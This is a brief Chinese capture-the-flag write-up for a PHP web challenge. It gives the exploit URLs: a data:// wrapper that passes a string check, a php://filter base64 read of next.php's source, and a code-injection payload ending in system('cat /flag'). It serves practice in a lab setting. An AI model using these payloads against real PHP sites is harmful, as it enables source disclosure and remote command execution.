打开靶机
看见if知道条件要求写text函数包含i have a dream。
一整个疑惑住,返回重看一下发现漏了个点,重新补上要求包含的next.php。
index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
base64解码
next.php?\S%2b=${getFlag()}&cmd=system('cat /flag');
over。